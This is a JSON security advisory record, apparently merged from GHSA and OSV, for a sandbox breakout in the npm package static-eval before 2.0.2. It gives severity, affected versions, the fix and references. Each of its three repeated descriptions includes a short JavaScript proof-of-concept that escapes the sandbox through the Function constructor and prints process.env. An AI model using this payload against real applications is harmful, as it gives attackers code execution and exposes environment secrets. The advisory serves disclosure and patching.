{"id":"GHSA-x9hc-rw35-f44h","aliases":[],"status":"published","title":"Sandbox Breakout / Arbitrary Code Execution in static-eval","description":"Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\n\nvar src = process.argv[2];\nvar payload = '(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()'\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.","severity":{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-94"],"published":"2020-09-02T15:46:03Z","modified":"2023-01-09T05:03:36Z","fixes":[{"ecosystem":"npm","package":"static-eval","fixed_in":["2.0.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"static-eval","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.0.1"},{"fixed":"2.0.2"}]}]},{"source":"osv","ecosystem":"npm","package":"static-eval","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.2"}]}]}],"references":[{"url":"https://www.npmjs.com/advisories/758","tags":["web"]},{"url":"https://github.com/advisories/GHSA-x9hc-rw35-f44h"},{"url":"https://snyk.io/vuln/SNYK-JS-STATICEVAL-173693","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-x9hc-rw35-f44h","title":"Sandbox Breakout / Arbitrary Code Execution in static-eval","description":"Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\n\nvar src = process.argv[2];\nvar payload = '(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()'\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.","status":"published","published":"2020-09-02T15:46:03Z","modified":"2023-01-09T05:03:36Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:36:05.705235Z"}],"osv":[{"id":"GHSA-x9hc-rw35-f44h","title":"Sandbox Breakout / Arbitrary Code Execution in static-eval","description":"Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.\n\n## Proof of concept\n```\nvar evaluate = require('static-eval');\nvar parse = require('esprima').parse;\n\nvar src = process.argv[2];\nvar payload = '(function({x}){return x.constructor})({x:\"\".sub})(\"console.log(process.env)\")()'\nvar ast = parse(payload).body[0].expression;\nconsole.log(evaluate(ast, {x:1}));\n```\n\n\n## Recommendation\n\nUpgrade to version 2.0.2 or later.","status":"published","published":"2020-09-02T15:46:03Z","modified":"2021-09-27T13:40:52Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T15:46:59.835583Z"}]}}